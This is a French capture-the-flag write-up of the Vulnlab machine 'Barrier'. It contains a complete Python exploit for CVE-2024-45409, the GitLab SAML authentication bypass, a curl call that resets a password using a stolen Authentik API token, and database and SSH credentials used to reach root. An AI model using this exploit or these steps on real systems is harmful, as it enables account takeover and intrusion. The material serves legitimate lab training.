
Barrier
Ce mardi, nous mettons en ligne le writeup de Barrier, une machine Linux de niveau Medium. Vous allez découvrir les manipulations de SAML, API, de base de données et tout ce qui est nécessaire pour venir à bout de cette machine pouvant donner du fil à retordre.
OS | Difficulty | Target |
---|---|---|
Linux | Medium | 10.10.93.17 |
🔭 Enumeration
Lancement d’un scan approfondi avec les options -sC
et -sV
:
[Jan 13, 2025 - 20:51:37 (CET)] exegol-Vulnlab /workspace # nmap -sC -sV barrier.vl
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-13 20:52 CET
Nmap scan report for barrier.vl (10.10.93.17)
Host is up (0.017s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 f3:6c:aa:fe:2c:20:f6:55:a0:5b:61:54:cf:39:17:d0 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCOokCfPYcz8TQuTM23sE/xAyy0Vvl+Wg4aM7iDOolVIkn0qKiJVyxDqfYAo35Q7A+UCcCMB0j9iKGUsiUGCReEAli2sTj59DI5fco6eSz3HBaxTEt7cLZywL3fTT6SuTZtzcLbU5aoOy+H/nCKFK2jf29FWQVWzSAz5wdQgMtukRPBSpcr/L8dzAJWwDBR2ohSU1MHHU0thVA+MEHxyjuGFTdGfzBGcEq/MXIsd/i5y3sXFJ0eclgjLE7pkbOdS27+rat9kJokedWMoEfA1KeY6OYrSihdV6btYI7j12S8yR4Wr/OPcC1Na0gx5d+q2aJs12PH8uR0hIGnUzNtyzPxMBiX1AgBq81omtFDhkdXBPNOMphLEPTqdfRTEhEjHkvMK89rhW55A3F1iETyzMQ/d6DMmiBipVi37xu3XfaztYWnMFEzS56oJA+LjWRI0dy29V+yD0kk36XvRIhdQ7CAgCTJ8u/3fvA5ShWoGtOoV/gNO2VMq3weycg9Oombou0=
80/tcp open http syn-ack ttl 62 nginx
|_http-title: Did not follow redirect to https://gitlab.barrier.vl:443/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 62 nginx
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was https://10.10.93.17/users/sign_in
|_http-favicon: Unknown favicon MD5: 66F9A1C3F2CFD0DF1B570990E86D3095
| http-robots.txt: 58 disallowed entries (40 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /api/v* /help /s/ /-/profile
| /-/user_settings/profile /-/ide/ /-/experiment /*/new /*/edit /*/raw
| /*/realtime_changes /groups/*/analytics
| /groups/*/contribution_analytics /groups/*/group_members /groups/*/-/saml/sso
| /*/*.git$ /*/archive/ /*/repository/archive* /*/activity
| /*/blame /*/commits /*/commit /*/commit/*.patch
| /*/commit/*.diff /*/compare /*/network /*/graphs
| /*/merge_requests/*.patch /*/merge_requests/*.diff /*/merge_requests/*/diffs
|_/*/deploy_keys /*/hooks
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=gitlab.barrier.vl/organizationName=Mycompany/stateOrProvinceName=GD/countryName=CN/localityName=SZ
| Subject Alternative Name: DNS:gitlab.barrier.vl
| Issuer: commonName=Barrier Root CA/organizationName=Mycompany/stateOrProvinceName=GD/countryName=CN/localityName=SZ
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-15T16:52:03
| Not valid after: 2025-12-15T16:52:03
| MD5: 0b50:8a55:99c7:55fe:bf36:3f26:3c76:82cd
| SHA-1: c0a2:f404:0136:e8e5:3578:99f7:246b:f136:fa64:5187
| -----BEGIN CERTIFICATE-----
| MIIDWjCCAkKgAwIBAgIUAUyxSLcW6CmTYJDScO1lhes0KvIwDQYJKoZIhvcNAQEL
| BQAwVTELMAkGA1UEBhMCQ04xCzAJBgNVBAgMAkdEMQswCQYDVQQHDAJTWjESMBAG
| A1UECgwJTXljb21wYW55MRgwFgYDVQQDDA9CYXJyaWVyIFJvb3QgQ0EwHhcNMjQx
| MjE1MTY1MjAzWhcNMjUxMjE1MTY1MjAzWjBXMQswCQYDVQQGEwJDTjELMAkGA1UE
| CAwCR0QxCzAJBgNVBAcMAlNaMRIwEAYDVQQKDAlNeWNvbXBhbnkxGjAYBgNVBAMM
| EWdpdGxhYi5iYXJyaWVyLnZsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAozNeLDYPk6cuP+7dcQ+l7g+5FXNDvg00nPqtkK9rH7ACxgvVLTTacvQU7yNv
| ZAdrgwDOtSzsfzCtTKiqhJYDqjSyLI/9BFnz4LObVlUd1wnhHk5nVLB63JiTGIDW
| M727dbWgUzVT/MK+L7IZ/DnQFI4Fw5czKZ7qU7mQkoscrFQvaPi1xpX+RLiatZnM
| y3baG+crsDTk26dEOaCt83kFrjUFLTUNjEE9po0eQK3kIAnfmmA4XTn3rn+Rny4T
| M/PvjcBwC0xakVc4yhZwf/vx0P8wPZTrZaPVBnnDvbrs7b0EN/0wK6mTq21HuyzY
| CnLkySq8NMfIx7yQ5YuRa4kMeQIDAQABoyAwHjAcBgNVHREEFTATghFnaXRsYWIu
| YmFycmllci52bDANBgkqhkiG9w0BAQsFAAOCAQEAt3T5e4zTPayl/oSOzerZkQBY
| IVbyvutz3SepgmvUYk01wtFUJpFTyAEB34xmo9bt1+0WpXszYwYosahJ7VAnJfNu
| a0umR4i42OyXz2LufCSty4g/G41Moy7/uwSvm010Cl2zt4YmezcGHiDSDPhST28+
| 7zkOsdL8S/q6LTVdpYbAJsKTN4war/nsav79HWzGlI+Lf7GTJs1RZPusvULEVzom
| lkysZD+jLOLvtPHZ23jQXu+qB5M/EzX24pfjMn73L6uKIG0QJIXeEIHjmPHJoSsH
| iLc3uby34UeemYGHZJHL+0XyKYdeHkLxxMwWIFMAAFi/cGjMjova4+HdkkmUNw==
|_-----END CERTIFICATE-----
8080/tcp open http syn-ack ttl 63 Apache Tomcat
|_http-title: Apache Tomcat
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
9000/tcp open cslistener? syn-ack ttl 62
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 10 Jan 2025 22:57:19 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: 72e652298c174d92a5bdc467dff9fb51
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
| X-Powered-By: authentik
| HTTPOptions:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 10 Jan 2025 22:57:20 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: 4ba1384196df4300b8c9af99c417848b
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
|_ X-Powered-By: authentik
9443/tcp open ssl/tungsten-https? syn-ack ttl 62
| ssl-cert: Subject: commonName=authentik default certificate/organizationName=authentik
| Subject Alternative Name: DNS:*
| Issuer: commonName=authentik default certificate/organizationName=authentik
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-10T22:46:36
| Not valid after: 2026-01-10T22:46:36
| MD5: 7e22:9a23:0be1:2d3e:76fe:2356:cab4:ee9f
| SHA-1: b6d4:e209:cd1f:1fad:92a2:824e:0c16:0f78:17c5:0648
| -----BEGIN CERTIFICATE-----
| MIIDRTCCAi2gAwIBAgIQXu7brRaDZc7j5qgfEYA+hjANBgkqhkiG9w0BAQsFADA8
| MRIwEAYDVQQKEwlhdXRoZW50aWsxJjAkBgNVBAMTHWF1dGhlbnRpayBkZWZhdWx0
| IGNlcnRpZmljYXRlMB4XDTI1MDExMDIyNDYzNloXDTI2MDExMDIyNDYzNlowPDES
| MBAGA1UEChMJYXV0aGVudGlrMSYwJAYDVQQDEx1hdXRoZW50aWsgZGVmYXVsdCBj
| ZXJ0aWZpY2F0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK2kp196
| 1/ENuFXF5xPjeG53906oDpBklHS+wrJpsLn//7nPekHbhS4tg6Bfs/wZUgipeAMI
| iG4OasjZTcI1tg5GAUAi2un+43zsCI+BnGAn7pHbaq/KtOOYwxoOFsuRYaCCI09P
| yyxkMuHMcP1xNZEkv4T7sbk7/Y2X9DO2ELJelOuiwWSbDkHwqYzqjHclJbKmPYYu
| rlOjAfMjXXLcnl0+46NSayYzHody48hybKU29Mcld5ljf0839zCFaYoK5VKcaBuH
| 1TIOur9GVoeTPYu7+4VsyezMpsd2SEqh62y52XN0MyoazeOn0KKwgnwc2wEasVuK
| BCsRSJ9PnjIkSDMCAwEAAaNDMEEwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoG
| CCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwDAYDVR0RBAUwA4IBKjANBgkqhkiG9w0B
| AQsFAAOCAQEAD2Mi8USdnGvzRNPN0JfcUxGgzuqGcgUV9xEL21QAVO49Lru8R3+6
| FjYQrTWBbX3y200b1PVycY4ydZOabExqUdGPtZoH5QkqYXd+/75nexOi6ld8yYJI
| gakF/41t1L6J9vijvISo9oOHiewHl+cz6Gu0wVUgo353i4JMvcvGhv8OITmntXui
| hxTEBJ83XhyoyudbdEHfQfWkNRivHlJfj1t09eAdL8d7tvEvIX5uAdk+Ja1wYn8B
| KUFdND6/iNasOxhw3elyaehIplpzbWJR8RDSC7L1amKXPlVV8vFmeTsJa43/9yLv
| K5bEB43AuIuQpfmbLpWvL+2fvT9/T2uzYA==
|_-----END CERTIFICATE-----
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 10 Jan 2025 22:57:22 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: 8f50229d1f8644b48124b87fe17da861
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
| X-Powered-By: authentik
| HTTPOptions:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 10 Jan 2025 22:57:23 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: 372a8299493d4b3b97c85d4c8ee68aad
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
|_ X-Powered-By: authentik
PORT | STATE | SERVICE |
22/tcp | open | ssh |
80/tcp | open | http |
443/tcp | open | https |
8080/tcp | open | http-proxy |
9000/tcp | open | cslistener |
9443/tcp | open | ssl/tungsten-https |
En nous rendant sur la page https://barrier.vl nous arrivons sur une page de connexion gitlab
avec la possibilité de se connecter par Login/password ou par SSO.
En cliquant sur l’onglet SSO, nous arrivons sur une page web, sur le port 9443 Authentik
. De retour sur la page de connexion gitlab
, nous pouvons explorer et trouvons le git de satoru
avec un dépôt nommé gitconnect
.
gitconnect
est un script Python permettant de se connecter au gitlab avec le compte satoru
vérifions les commits car le mot de passe a été retiré:
import requests
from urllib.parse import urljoin
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_gitlab_repos():
base_url = 'https://gitlab.barrier.vl'
api_url = urljoin(base_url, '/api/v4/')
auth_data = {
'grant_type': 'password',
'username': 'satoru',
'password': '***'
}
try:
session = requests.Session()
session.verify = False
response = session.post(urljoin(base_url, '/oauth/token'), data=auth_data)
response.raise_for_status()
token = response.json()['access_token']
headers = {'Authorization': f'Bearer {token}'}
projects_response = session.get(urljoin(api_url, 'projects'), headers=headers)
projects_response.raise_for_status()
projects = projects_response.json()
print("Available repositories:")
for project in projects:
print(f"\nName: {project['name']}")
print(f"Description: {project.get('description', 'No description available')}")
print(f"URL: {project['web_url']}")
print(f"Last activity: {project['last_activity_at']}")
print("-" * 50)
except requests.exceptions.RequestException as e:
print(f"Error occurred: {str(e)}")
if hasattr(e.response, 'text'):
print(f"Response text: {e.response.text}")
finally:
session.close()
if __name__ == "__main__":
get_gitlab_repos()
En vérifiant l’historique, nous obtenons le mot de passe de satoru. L’exécution du script n’apporte rien de nouveau.
Retournons sur la page Authentik
pour tenter une connexion avec le mot de passe trouver.
La connexion fonctionne il s’agit du même mot de passe entre Gitlab et Authentik. Nous apercevons l’application Gitlab
et Guacamole
.
Guacamole
sous satoru
ne montre aucune machine en ligne ou accessible.
En fouillant Gitlab
, la version utilisée est la 17.3.2. Une simple recherche montre une faille critique SAML Authentication bypass .
Le PoC de la CVE-2024-45409 par Synacktiv permet de modifier la SAMLResponse
d’un utilisateur pour se connecter sous ce nom.
Nous créons un projet dans le dépôt de satoru
et regardons pour y ajouter des membres. akadmin
est le seul autre membre disponible. Tentons le PoC pour nous connecter sous cet utilisateur. Nous nous connectons à Authentik
puis nous nous rendons sur https://gitlab.barrier.vl pour lancer une connexion via SSO
afin d’intercepter la requête et la réponse.
Nous interceptons toutes les requêtes et visionnons chacunes dans l’onglet http history
de BurpSuite jusqu’à trouver la réponse à SAMLRequest=....
, GET /users/auth/saml/callback/SAMLREPONSE=....

Une fois la réponse obtenu, nous la décodons afin d’obtenir un fichier xml.

Une fois décodée, nous utilisons le script qui suit afin d’obtenir une nouveau SAMLResponse pour l’utilisateur akadmin
:
from argparse import ArgumentParser
from base64 import b64decode, b64encode
from copy import copy
from datetime import datetime, timedelta, UTC
from hashlib import sha1, sha256
from urllib.parse import quote, unquote
from uuid import uuid4
from sys import stderr
from lxml import etree
NAMESPACES = {
"ds": "http://www.w3.org/2000/09/xmldsig#",
"saml": "urn:oasis:names:tc:SAML:2.0:assertion",
"samlp": "urn:oasis:names:tc:SAML:2.0:protocol",
}
class CVE_2024_45409:
def __init__(
self,
response_file: str,
output_file_path: str,
decode_input: bool,
encode_output: bool,
name_id: str,
id_prefix: str,
) -> None:
self._name_id = name_id
self._id_prefix = id_prefix
self._encode_output = encode_output
self._output_file_path = output_file_path
self._decode_input = decode_input
self._response_file = response_file
self._raw_response: bytes | None = None
self._response_document: etree.Element | None = None
self._signature: etree.Element | None = None
self._original_assertion: etree.Element | None = None
self.reference_id: str
self._canonicalization_method: str | None = None
self._digest_algorithm: str | None = None
def exploit(self) -> None:
print("[+] Parse response",file=stderr)
self._parse()
self._move_signature_in_assertion()
print("[+] Patch response ID",file=stderr)
self._response_document.attrib["ID"] = self._generate_unique_id()
print("[+] Insert malicious reference",file=stderr)
self._insert_malicious_reference()
print(f"[+] Write patched file in {self._output_file_path}",file=stderr)
self._write_output()
def _write_output(self) -> None:
data = etree.tostring(self._response_document)
if self._output_file_path == "-":
if self._encode_output:
print(self.encode_response(data))
else:
print(data.decode('utf-8'))
return
with open(self._output_file_path, "w") as outfile:
data = self.encode_response(data) if self._encode_output else data.decode("utf-8")
outfile.write(data)
def _parse(self) -> None:
with open(self._response_file) as infile:
self._raw_response = (
self.decode_response(infile.read()) if self._decode_input else infile.read().encode("utf-8")
)
self._response_document = etree.fromstring(self._raw_response)
self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)
self._canonicalization_method = self._signature.xpath(
"//ds:Reference/ds:Transforms/ds:Transform/@Algorithm",
namespaces=NAMESPACES,
)[1]
self._digest_algorithm = self._signature.xpath(
"//ds:Reference/ds:DigestMethod/@Algorithm",
namespaces=NAMESPACES,
)[0]
self._digest_algorithm = self._digest_algorithm[self._digest_algorithm.index("#") + 1 :]
print(f"\tDigest algorithm: {self._digest_algorithm}",file=stderr)
print(f"\tCanonicalization Method: {self._canonicalization_method}",file=stderr)
def _move_signature_in_assertion(self) -> None:
print("[+] Remove signature from response",file=stderr)
self._signature.getparent().remove(self._signature)
reference = self._signature.find(".//ds:Reference", namespaces=NAMESPACES)
self.reference_id = reference.attrib["URI"].lstrip("#")
print("[+] Patch assertion ID",file=stderr)
assertion_element = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)
assertion_element.attrib["ID"] = self.reference_id
print("[+] Patch assertion NameID",file=stderr)
name_id_element = assertion_element.find(".//saml:NameID", namespaces=NAMESPACES)
name_id_element.text = self._name_id
print("[+] Patch assertion conditions",file=stderr)
subject_confirm_data = self._response_document.find(".//saml:SubjectConfirmationData", namespaces=NAMESPACES)
subject_confirm_data.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")
conditions = self._response_document.find(".//saml:Conditions", namespaces=NAMESPACES)
conditions.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")
authn_statement = self._response_document.find(".//saml:AuthnStatement", namespaces=NAMESPACES)
authn_statement.attrib["SessionNotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")
self._original_assertion = copy(assertion_element)
print("[+] Move signature in assertion",file=stderr)
assertion_issuer = assertion_element.find(".//saml:Issuer", namespaces=NAMESPACES)
assertion_element.insert(assertion_element.index(assertion_issuer) + 1, self._signature)
def _insert_malicious_reference(self) -> None:
status = self._response_document.find(".//samlp:Status", namespaces=NAMESPACES)
status_code = status.find(".//samlp:StatusCode", namespaces=NAMESPACES)
print("[+] Clone signature reference",file=stderr)
reference = copy(self._response_document.find(".//ds:Reference", namespaces=NAMESPACES))
reference.attrib["URI"] = "#" + self.reference_id
nsmap = {"samlp": "urn:oasis:names:tc:SAML:2.0:protocol", "dsig": "http://www.w3.org/2000/09/xmldsig#"}
print("[+] Create status detail element",file=stderr)
status_detail_element = etree.Element("{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail", nsmap=nsmap)
status_detail_element.insert(0, reference)
status.insert(status.index(status_code) + 1, status_detail_element)
new_element = etree.Element(
self._original_assertion.tag,
nsmap={
"saml": "urn:oasis:names:tc:SAML:2.0:assertion",
},
)
for attrib, value in self._original_assertion.attrib.items():
new_element.set(attrib, value)
for child in self._original_assertion:
new_element.append(child)
new_element.text = self._original_assertion.text
if self._canonicalization_method == "http://www.w3.org/2001/10/xml-exc-c14n#":
method = "c14n"
else:
raise ValueError("Canonicalization method unknown")
new_element_canonical = etree.tostring(new_element, method=method, exclusive=True, with_comments=False)
if self._digest_algorithm == "sha256":
digest = sha256(new_element_canonical).digest()
elif self._digest_algorithm == "sha1":
digest = sha1(new_element_canonical).digest()
else:
raise ValueError("Digest algorithm unknown")
print("[+] Patch digest value",file=stderr)
digest_value = reference.find(".//ds:DigestValue", namespaces=NAMESPACES)
digest_value.text = b64encode(digest).decode("utf-8")
def _generate_unique_id(self) -> str:
return f"{self._id_prefix}{uuid4()}"
@staticmethod
def decode_response(data: str) -> bytes:
return b64decode(unquote(data))
@staticmethod
def encode_response(data: bytes) -> str:
return quote(b64encode(data))
def __str__(self) -> str:
return etree.tostring(self._response_document, pretty_print=True).decode("utf-8")
if __name__ == "__main__":
parser = ArgumentParser(
description="CVE-2024-45409 exploit",
)
parser.add_argument(
"-r",
"--response-file",
type=str,
required=True,
help="Raw or URL + Base64 encoded XML SAMLResponse content file path",
default="response.xml",
)
parser.add_argument(
"-o",
"--output-file",
type=str,
help="Patched SAMLResponse output file path, use - for stdout",
default="response_patched.xml",
)
parser.add_argument("-n", "--nameid", type=str, required=True, help="Target NameID")
parser.add_argument("-d", "--decode", action="store_true", help="Decode URL + Base64 encoded response file")
parser.add_argument("-e", "--encode", action="store_true", help="Encode Base64 + URL output")
parser.add_argument("-p", "--prefix", type=str, help="ID prefix", default="ID-")
args = parser.parse_args()
CVE_2024_45409(
response_file=args.response_file,
output_file_path=args.output_file,
decode_input=args.decode,
encode_output=args.encode,
name_id=args.nameid,
id_prefix=args.prefix,
).exploit()
La commande ci-dessous nous permet d’obtenir la nouvelle réponse à injecter dans BurpSuite.
python3 2024-45409.py -r response.xml -n akadmin -e -o response_path.xml

On envoi la requête modifiée, nous sommes désormais connecté sous akadmin
.

En regardant la page d’admin, nous apercevons que les runners sont actifs.

De plus près,un runner est en ligne et execute docker.

Puisque qu’un runner est actif, nous décidons de créer un projet dans lequel nous allons y mettre un fichier .gitlab-cy.yml
Mais nous trouver sur quelle image docker il s’appuie. Quelques recherches nous permettent d’obtenir un docker-compose.yml
utilisé par Authentik
.


En se fiant à la documentation fournie par Authentik, nous créons le fichier .gitlab-cy.yml
suivant:

Une fois lancée, nous devrions obtenir un reverse shell.

En checkant les variables d’environnement, nous obtenons le TOKEN Authentik
:

Toujours en se basant sur la documentation d’Authentik, nous avons la possibilité de jouer autour de l’API:
curl -L 'http://barrier.vl:9000/api/v3/core/users/4/set_password/' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' \
-d '{
"password": "P@$$word123!"
}'
Une fois la commande cURL entrée, nous nous rendons sur la page Authentik pour essayer de s’y connecter.


Sur cette interface, nous pouvons impersonate
l’utilisateur maki
sur une machine disponible sur Guacamole.
Le Flag user.txt se trouve dans le dossier /home
de maki
.
🎯 Privilege Escalation
Nous avons le flag user, il ne reste plus qu’à trouver le moyen de monter en privilège. Nous décidons de fouiller, puis nous nous penchons sur le dossier etc/guacamole
. La documentation de Guacamole permet d’avoir des indices sur les fichiers à localiser et lire.

Nous nous connectons à la base guacamole
:
mysql mysql -u guac_user -pguac2024

MariaDB [guac_db]> select * from guacamole_connection_parameter \G;

Nous y trouvons une clé privée ssh pour maki_adm
ainsi que la passphrase associée. Nous copions la clé et nous nous connectons à son compte:
ssh -i ssh_key maki_adm@barrier.vl -oHostKeyAlgorithms=+ssh-rsa
Connecté à cet utilisateur, nous cherchons comment obtenir les privilèges root, nous permettant d’obtenir le flag root
.
Le fichier .bash-history
nous donne ceci:
cat .bash-history
sudo su
V<REDACTED>v
Nous utilisons le mot de passe trouvé et sommes root.
cat /root/root.txt
VL{...}